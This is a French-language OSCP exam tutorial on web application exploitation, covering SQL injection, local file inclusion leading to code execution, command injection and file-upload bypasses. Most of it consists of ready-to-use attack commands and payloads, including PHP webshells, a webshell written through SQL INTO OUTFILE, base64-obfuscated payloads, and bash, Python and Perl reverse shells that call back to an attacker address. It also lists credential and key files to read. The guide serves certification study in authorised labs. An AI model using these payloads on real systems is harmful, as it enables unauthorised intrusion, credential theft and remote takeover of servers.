Avertissement légal : toutes les techniques présentées sont à appliquer exclusivement sur des applications web dans des environnements de test autorisés — labs OffSec PEN-200, machines CTF, environnements de staging avec autorisation écrite. Toute exploitation d’une application en production sans autorisation est illégale.
La phase d’exploitation web dans l’OSCP commence après l’énumération (Gobuster, Nikto, wfuzz). Ce tutoriel couvre les quatre vecteurs les plus fréquents dans le PEN-200 : injection SQL, Local File Inclusion, injection de commandes, et upload de fichier — de la détection au shell.
1. Reconnaissance web initiale
Étape 1 — Identifier la stack technologique
Pour identifier la stack technologique, voici les commandes :
# WhatWeb — détecte CMS, framework, serveur web, langages
whatweb http://10.10.10.x/
# WEBrick, WordPress 6.x, PHP 8.x, Apache 2.4...
# Wappalyzer (extension navigateur) — alternative graphique
# Headers HTTP — version serveur, cookies, framework
curl -I http://10.10.10.x/
# Server: Apache/2.4.41
# X-Powered-By: PHP/7.4.3
# Set-Cookie: PHPSESSID=...; path=/
Étape 2 — Énumération des répertoires et fichiers
Pour énumération des répertoires et fichiers, voici les commandes :
# Gobuster — répertoires et fichiers
gobuster dir -u http://10.10.10.x -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt \
-x php,txt,html,bak,zip,sql -t 40
# ffuf — plus rapide, filtrage avancé
ffuf -u http://10.10.10.x/FUZZ -w /usr/share/seclists/Discovery/Web-Content/common.txt \
-mc 200,301,302,403 -t 50
# Nikto — scan de vulnérabilités web connues
nikto -h http://10.10.10.x/ -C all 2>/dev/null
Étape 3 — Énumération des paramètres et formulaires
Pour énumération des paramètres et formulaires, voici les commandes :
# Burp Suite — proxy et intruder (indispensable pour les exams avec appli web)
# Configurer Firefox : Proxy → Manual → 127.0.0.1:8080
# curl — tester manuellement les paramètres GET/POST
curl "http://10.10.10.x/page.php?id=1"
curl -X POST -d "username=admin&password=test" http://10.10.10.x/login.php -v
# wfuzz — fuzzing de paramètres
wfuzz -c -z file,/usr/share/seclists/Discovery/Web-Content/burp-parameter-names.txt \
--hc 404 "http://10.10.10.x/page.php?FUZZ=test"
2. SQLi manuelle — détection et exploitation
Étape 1 — Détecter l’injection SQL
Pour détecter l’injection SQL, voici les commandes :
# Dans un paramètre GET/POST/Cookie, tester :
?id=1' → erreur SQL ou comportement différent = potentiellement vulnérable
?id=1-- → commenter la suite de la requête
?id=1' OR '1'='1 → toujours vrai
?id=1' AND '1'='2 → toujours faux (page vide ou différente)
# Exemple avec curl
curl "http://10.10.10.x/item.php?id=1'"
# You have an error in your SQL syntax... ← VULNÉRABLE
curl "http://10.10.10.x/item.php?id=1 AND 1=1-- -" # page normale
curl "http://10.10.10.x/item.php?id=1 AND 1=2-- -" # page vide
Étape 2 — Trouver le nombre de colonnes (ORDER BY)
Pour trouver le nombre de colonnes (ORDER BY), voici les commandes :
# Augmenter jusqu'à obtenir une erreur
?id=1 ORDER BY 1-- - → OK
?id=1 ORDER BY 2-- - → OK
?id=1 ORDER BY 3-- - → OK
?id=1 ORDER BY 4-- - → ERREUR → 3 colonnes dans la requête
Étape 3 — UNION SELECT pour extraire des données
Pour uNION SELECT pour extraire des données, voici les commandes :
# Trouver quelle colonne est affichée (visible dans la page)
?id=-1 UNION SELECT 1,2,3-- -
# Si "2" apparaît dans la page → la 2ème colonne est affichée
# Extraire la version et la base de données
?id=-1 UNION SELECT 1,version(),database()-- -
# → 10.3.27-MariaDB | webapp
# Lister toutes les bases de données
?id=-1 UNION SELECT 1,group_concat(schema_name),3 FROM information_schema.schemata-- -
# Lister les tables de la base "webapp"
?id=-1 UNION SELECT 1,group_concat(table_name),3 FROM information_schema.tables WHERE table_schema='webapp'-- -
# → users,products,orders
# Lister les colonnes de la table "users"
?id=-1 UNION SELECT 1,group_concat(column_name),3 FROM information_schema.columns WHERE table_name='users'-- -
# → id,username,password,email
# Extraire les données
?id=-1 UNION SELECT 1,group_concat(username,':',password SEPARATOR '\n'),3 FROM users-- -
# → admin:$2y$10$abc..., bob:plaintext123
Étape 4 — SQLi vers lecture de fichiers (si FILE privilege)
Pour sQLi vers lecture de fichiers (si FILE privilege), voici les commandes :
# Lire /etc/passwd
?id=-1 UNION SELECT 1,load_file('/etc/passwd'),3-- -
# Lire le code source de l'application
?id=-1 UNION SELECT 1,load_file('/var/www/html/config.php'),3-- -
# → credentials DB en clair dans le code source
Étape 5 — SQLi vers écriture de webshell (INTO OUTFILE)
Pour sQLi vers écriture de webshell (INTO OUTFILE), voici les commandes :
# Prérequis : FILE privilege + répertoire web writable
# Vérifier le chemin web
?id=-1 UNION SELECT 1,@@datadir,3-- -
# → /var/lib/mysql/
# Écrire un webshell PHP
?id=-1 UNION SELECT 1,'<?php system($_GET["cmd"]); ?>',3 INTO OUTFILE '/var/www/html/shell.php'-- -
# Vérifier et utiliser
curl "http://10.10.10.x/shell.php?cmd=id"
# uid=33(www-data) gid=33(www-data)
3. SQLmap — automatisation SQLi
SQLmap automatise la détection et l’exploitation des injections SQL. À utiliser après confirmation manuelle qu’un paramètre est vulnérable.
Étape 1 — Détection automatique
Pour détection automatique, voici les commandes :
# Paramètre GET
sqlmap -u "http://10.10.10.x/item.php?id=1" --dbs --batch
# Paramètre POST
sqlmap -u "http://10.10.10.x/login.php" \
--data="username=admin&password=test" --dbs --batch
# Via un fichier de requête Burp (Request → Save item)
sqlmap -r request.txt --dbs --batch
# Options importantes :
# --batch : répondre "yes" à toutes les questions automatiquement
# --dbs : lister les bases de données
# --level=5 : tests plus agressifs (1-5)
# --risk=3 : risque d'erreur plus élevé (1-3)
Étape 2 — Extraire des données
Pour extraire des données, voici les commandes :
# Lister les tables d'une base
sqlmap -u "http://10.10.10.x/item.php?id=1" -D webapp --tables --batch
# Extraire le contenu d'une table
sqlmap -u "http://10.10.10.x/item.php?id=1" -D webapp -T users --dump --batch
# Extraire uniquement certaines colonnes
sqlmap -u "http://10.10.10.x/item.php?id=1" \
-D webapp -T users -C username,password --dump --batch
Étape 3 — Shell via sqlmap
Pour shell via sqlmap, voici les commandes :
# Webshell interactif (si INTO OUTFILE est disponible)
sqlmap -u "http://10.10.10.x/item.php?id=1" --os-shell --batch
# sqlmap dépose automatiquement un webshell et ouvre un shell interactif
# Shell système via --os-cmd
sqlmap -u "http://10.10.10.x/item.php?id=1" --os-cmd="id" --batch
4. LFI — Local File Inclusion
Une LFI permet d’inclure un fichier arbitraire du serveur dans la réponse HTTP. Elle révèle des fichiers sensibles et peut mener à un RCE via plusieurs techniques.
Étape 1 — Détecter la LFI
Pour détecter la LFI, voici les commandes :
# Paramètre typique
http://10.10.10.x/page.php?file=about
http://10.10.10.x/index.php?page=home
http://10.10.10.x/view.php?path=docs/manual
# Tester avec /etc/passwd
curl "http://10.10.10.x/page.php?file=../../../../etc/passwd"
# root:x:0:0:root:/root:/bin/bash → VULNÉRABLE
# Path traversal variantes
curl "http://10.10.10.x/page.php?file=....//....//....//etc/passwd"
curl "http://10.10.10.x/page.php?file=%2f%2e%2e%2f%2e%2e%2fetc%2fpasswd" # URL encoded
curl "http://10.10.10.x/page.php?file=php://filter/convert.base64-encode/resource=/etc/passwd"
Étape 2 — Fichiers intéressants à lire via LFI
Pour fichiers intéressants à lire via LFI, voici les commandes :
# Linux — fichiers sensibles
../../../../etc/passwd
../../../../etc/shadow # si www-data peut le lire
../../../../etc/ssh/sshd_config
../../../../home/user/.ssh/id_rsa # clé SSH privée
../../../../var/www/html/config.php # credentials DB
../../../../var/www/html/wp-config.php # WordPress credentials
../../../../proc/self/environ # variables d'environnement
../../../../var/log/apache2/access.log # log Apache (→ log poisoning)
../../../../var/log/nginx/access.log # log Nginx
../../../../var/log/auth.log # SSH login attempts
# Windows — fichiers sensibles
..\..\..\..\Windows\System32\drivers\etc\hosts
..\..\..\..\Windows\win.ini
..\..\..\..\inetpub\wwwroot\web.config
..\..\..\..\xampp\htdocs\config.php
Étape 3 — Fuzzing LFI avec wfuzz
Pour fuzzing LFI avec wfuzz, voici les commandes :
wfuzz -c -z file,/usr/share/seclists/Fuzzing/LFI/LFI-gracefulsecurity-linux.txt \
--hc 404 --hl 0 \
"http://10.10.10.x/page.php?file=FUZZ"
5. LFI vers RCE
Technique 1 — Log Poisoning (Apache/Nginx)
Concrètement, pour étape 1 — Vérifier que le log est lisible :
# Étape 1 — Vérifier que le log est lisible
curl "http://10.10.10.x/page.php?file=../../../../var/log/apache2/access.log"
# Si la réponse contient des lignes de log → lisible
# Étape 2 — Injecter un webshell dans le User-Agent
curl -A "<?php system(\$_GET['cmd']); ?>" http://10.10.10.x/
# Le User-Agent est logué dans access.log
# Étape 3 — Inclure le log avec le paramètre cmd
curl "http://10.10.10.x/page.php?file=../../../../var/log/apache2/access.log&cmd=id"
# uid=33(www-data)...
Technique 2 — PHP Wrappers
Concrètement, pour lire du code source PHP encodé en base64 (évite l’exécution) :
# Lire du code source PHP encodé en base64 (évite l'exécution)
curl "http://10.10.10.x/page.php?file=php://filter/convert.base64-encode/resource=config.php"
# → PD9waHAgJGRiX3Bhc3M9InN1cGVyc2VjcmV0IjsgPz4=
echo "PD9waHAgJGRiX3Bhc3M9InN1cGVyc2VjcmV0IjsgPz4=" | base64 -d
# → <?php $db_pass="supersecret"; ?>
# Exécuter du code PHP via data:// (si allow_url_include = On)
curl "http://10.10.10.x/page.php?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ID8+"
# PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ID8+ = <?php system($_GET['cmd']); ?>
curl "http://10.10.10.x/page.php?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ID8+&cmd=id"
Technique 3 — PHP Session Poisoning
Concrètement, pour étape 1 — Vérifier l’emplacement des sessions PHP :
# Étape 1 — Vérifier l'emplacement des sessions PHP
curl "http://10.10.10.x/page.php?file=../../../../etc/php/7.4/apache2/php.ini" | grep session.save_path
# session.save_path = "/var/lib/php/sessions"
# Étape 2 — Injecter du PHP dans une variable de session
# Se connecter avec un username qui contient du code PHP
curl -v -b "PHPSESSID=abc123" \
-X POST -d "username=<?php system(\$_GET['cmd']); ?>" \
http://10.10.10.x/login.php
# Étape 3 — Inclure le fichier de session
curl "http://10.10.10.x/page.php?file=../../../../var/lib/php/sessions/sess_abc123&cmd=id"
Technique 4 — /proc/self/fd poisoning
Concrètement, pour injecter PHP dans les headers et inclure le FD du log :
# Injecter PHP dans les headers et inclure le FD du log
# Généralement fd/2 (stderr) ou fd/1 (stdout) contient les logs
curl -H "User-Agent: <?php system(\$_GET['cmd']); ?>" http://10.10.10.x/
for fd in $(seq 0 20); do
echo "Testing fd $fd:"
curl -s "http://10.10.10.x/page.php?file=/proc/self/fd/$fd&cmd=id" | grep "uid="
done
6. Command Injection
Une application qui passe une entrée utilisateur directement à un appel système (system(), exec(), popen()) sans sanitisation est vulnérable à l’injection de commandes.
Étape 1 — Détecter l’injection de commandes
Pour détecter l’injection de commandes, voici les commandes :
# Contexte typique : outil "ping" ou "nslookup" dans une appli web
# Formulaire : "Entrez une IP à pinger"
# Valeur soumise : 127.0.0.1
# Tester les séparateurs de commandes
127.0.0.1; id
127.0.0.1 && id
127.0.0.1 | id
127.0.0.1 || id
`id` # backticks
$(id) # command substitution
# URL encode si nécessaire
curl "http://10.10.10.x/ping.php?ip=127.0.0.1%3Bid" # ; = %3B
curl "http://10.10.10.x/ping.php?ip=127.0.0.1%26%26id" # && = %26%26
Étape 2 — Confirmer et obtenir un reverse shell
Pour confirmer et obtenir un reverse shell, voici les commandes :
# Confirmer avec une requête DNS ou HTTP vers votre serveur
# Sur Kali — tcpdump pour capter le ping ICMP
sudo tcpdump -i tun0 icmp
curl "http://10.10.10.x/ping.php?ip=127.0.0.1;ping -c 1 10.10.14.x"
# Reverse shell bash
curl "http://10.10.10.x/ping.php?ip=127.0.0.1;bash -i >& /dev/tcp/10.10.14.x/4444 0>&1"
# URL-encoded
curl "http://10.10.10.x/ping.php" \
--data-urlencode "ip=127.0.0.1;bash -i >& /dev/tcp/10.10.14.x/4444 0>&1"
Contournement des filtres courants
Concrètement, pour filtre sur les commandes → rotation de base64 :
# Filtre sur les espaces → utiliser $IFS ou {,}
cat${IFS}/etc/passwd
{cat,/etc/passwd}
# Filtre sur les slash → utiliser $HOME
echo${IFS}$HOME
# Filtre sur les commandes → rotation de base64
echo "YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC54LzQ0NDQgMD4mMQ==" | base64 -d | bash
# = bash -i >& /dev/tcp/10.10.14.x/4444 0>&1
7. File Upload — bypass de filtres
Les applications qui permettent l’upload de fichiers sans validation stricte du type peuvent être exploitées pour déposer un webshell.
Étape 1 — Tester l’upload basique
Pour tester l’upload basique, voici les commandes :
# Créer un webshell PHP minimal
echo '<?php system($_GET["cmd"]); ?>' > shell.php
# Uploader et noter l'URL de stockage
# Tester : http://10.10.10.x/uploads/shell.php?cmd=id
Étape 2 — Bypass de filtre sur l’extension
Pour bypass de filtre sur l’extension, voici les commandes :
# Extensions PHP alternatives selon la configuration du serveur
shell.php3
shell.php4
shell.php5
shell.php7
shell.phtml
shell.pht
shell.shtml
# Double extension
shell.php.jpg
shell.jpg.php
# Case sensitivity
shell.PHP
shell.PhP
# Null byte (anciennes versions PHP)
shell.php%00.jpg
shell.php\x00.jpg
Étape 3 — Bypass du filtre MIME type (Content-Type)
Pour bypass du filtre MIME type (Content-Type), voici les commandes :
# Intercepter l'upload avec Burp Suite
# Modifier le Content-Type dans la requête HTTP
# Changer : application/x-php → image/jpeg
# Avec curl — forcer le content-type image
curl -X POST http://10.10.10.x/upload.php \
-F "file=@shell.php;type=image/jpeg" \
-b "PHPSESSID=votre_session"
Étape 4 — Bypass du filtre sur les magic bytes
Pour bypass du filtre sur les magic bytes, voici les commandes :
# Ajouter les magic bytes d'une image JPEG en tête du fichier PHP
# JPEG magic bytes : FF D8 FF E0
printf '\xff\xd8\xff\xe0' > shell_img.php
echo '<?php system($_GET["cmd"]); ?>' >> shell_img.php
# Vérifier
file shell_img.php
# shell_img.php: JPEG image data... ← bypass du contrôle file type
Étape 5 — Webshell dans les métadonnées d’image (exiftool)
Pour webshell dans les métadonnées d’image (exiftool), voici les commandes :
# Injecter du PHP dans les métadonnées d'une vraie image
exiftool -Comment='<?php system($_GET["cmd"]); ?>' image.jpg -o shell_meta.jpg
# Si le serveur renomme en .jpg mais l'exécute via include()
# http://10.10.10.x/view.php?file=uploads/shell_meta.jpg&cmd=id
Étape 6 — Upload de .htaccess pour forcer l’exécution PHP
Pour upload de .htaccess pour forcer l’exécution PHP, voici les commandes :
# Si le répertoire d'upload accepte un .htaccess
echo 'AddType application/x-httpd-php .jpg' > .htaccess
# Uploader .htaccess dans le répertoire d'upload
# Ensuite uploader shell.jpg (avec code PHP dedans)
# Le serveur exécutera shell.jpg comme du PHP
8. Reverse shells web
Stabiliser un shell www-data après obtention initiale
Sur Kali — listener :
# Sur Kali — listener
nc -lvnp 4444
# Payload dans le webshell ou la LFI
bash -i >& /dev/tcp/10.10.14.x/4444 0>&1
# Reverse shell Python
python3 -c 'import socket,subprocess,os;s=socket.socket();s.connect(("10.10.14.x",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/bash","-i"])'
# Reverse shell Perl
perl -e 'use Socket;$i="10.10.14.x";$p=4444;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/bash -i");};'
Stabiliser le shell (TTY complet)
Sur le shell nc obtenu — étape 1 (spawner un PTY) :
# Sur le shell nc obtenu — étape 1 (spawner un PTY)
python3 -c 'import pty; pty.spawn("/bin/bash")'
# ou
script /dev/null -c bash
# Étape 2 — background + config terminal
# Ctrl+Z (met le shell nc en background)
stty raw -echo; fg
# Appuyer Entrée deux fois si besoin
# Étape 3 — corriger la taille du terminal
export TERM=xterm
export SHELL=/bin/bash
stty rows 38 cols 116 # adapter à votre terminal
Reverse shells Windows via webshell ASPX
Concrètement, pour générer un webshell ASPX :
# Générer un webshell ASPX
msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.14.x LPORT=4444 \
-f aspx -o shell.aspx
# Uploader sur le serveur IIS → http://10.10.10.x/shell.aspx
# Sur Kali
nc -lvnp 4444
Reverse shell PHP URL-encoded (pour injection via LFI)
Concrètement, pour version base64 pour éviter les mauvais caractères :
# Version base64 pour éviter les mauvais caractères
php_shell='<?php system($_GET["cmd"]); ?>'
echo "$php_shell" | base64
# PD9waHAgc3lzdGVtKCRfR0VUWyJjbWQiXSk7ID8+
# Via data:// wrapper
curl "http://10.10.10.x/page.php?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWyJjbWQiXSk7ID8+&cmd=id"
9. Checklist exam exploitation web
| # | Vérification | Outils | Priorité |
|---|---|---|---|
| 1 | Identifier la stack (CMS, framework, langage) | whatweb, curl -I, Wappalyzer | Haute |
| 2 | Énumérer les répertoires | gobuster, ffuf | Haute |
| 3 | Identifier les formulaires et paramètres | Burp Suite, wfuzz | Haute |
| 4 | Tester SQLi sur chaque paramètre | Tests manuels + sqlmap | Haute |
| 5 | Tester LFI sur les paramètres file/page/path | curl, wfuzz LFI wordlist | Haute |
| 6 | LFI → log poisoning si logs lisibles | curl -A, access.log | Moyenne |
| 7 | Tester command injection sur les outils réseau | Séparateurs ; && | || | Haute |
| 8 | File upload — bypass extension et MIME | Burp Intercept, extensions PHP alternatives | Haute |
| 9 | Nikto — vulnérabilités connues du serveur | nikto -h | Basse (automatique) |
| 10 | Stabiliser le shell obtenu | python3 pty.spawn + stty raw | Immédiate après shell |
Payloads de référence rapide
| Technique | Payload de test rapide |
|---|---|
| SQLi détection | ' puis ' OR '1'='1'-- - |
| LFI basique | ../../../../etc/passwd |
| PHP source via wrapper | php://filter/convert.base64-encode/resource=index |
| Command injection | ; id puis ; ping -c 1 10.10.14.x |
| Reverse shell bash | bash -i >& /dev/tcp/10.10.14.x/4444 0>&1 |
| Webshell PHP minimal | <?php system($_GET["cmd"]); ?> |
Ressources et références
- PortSwigger Web Security Academy — labs interactifs SQLi, LFI, XSS, SSRF (gratuit)
- OWASP Top 10 — référence des vulnérabilités web les plus courantes
- HackTricks — File Inclusion — techniques LFI/RFI complètes
- PayloadsAllTheThings — référence de payloads pour toutes les vulnérabilités web
- SecLists — wordlists pour fuzzing web, LFI, SQLi
- OffSec PEN-200 — module Web Application Attacks
Prochaines étapes
- Une fois un shell obtenu sur la cible web, appliquez les techniques d’escalade de privilèges selon l’OS : Escalade de privilèges Linux ou Escalade de privilèges Windows.
- Si la cible fait partie d’un réseau interne inaccessible depuis Kali, consultez Pivoting réseau : chisel et ligolo-ng.
- Après avoir compromis toutes les machines, passez à la dernière étape : Rédiger le rapport OSCP.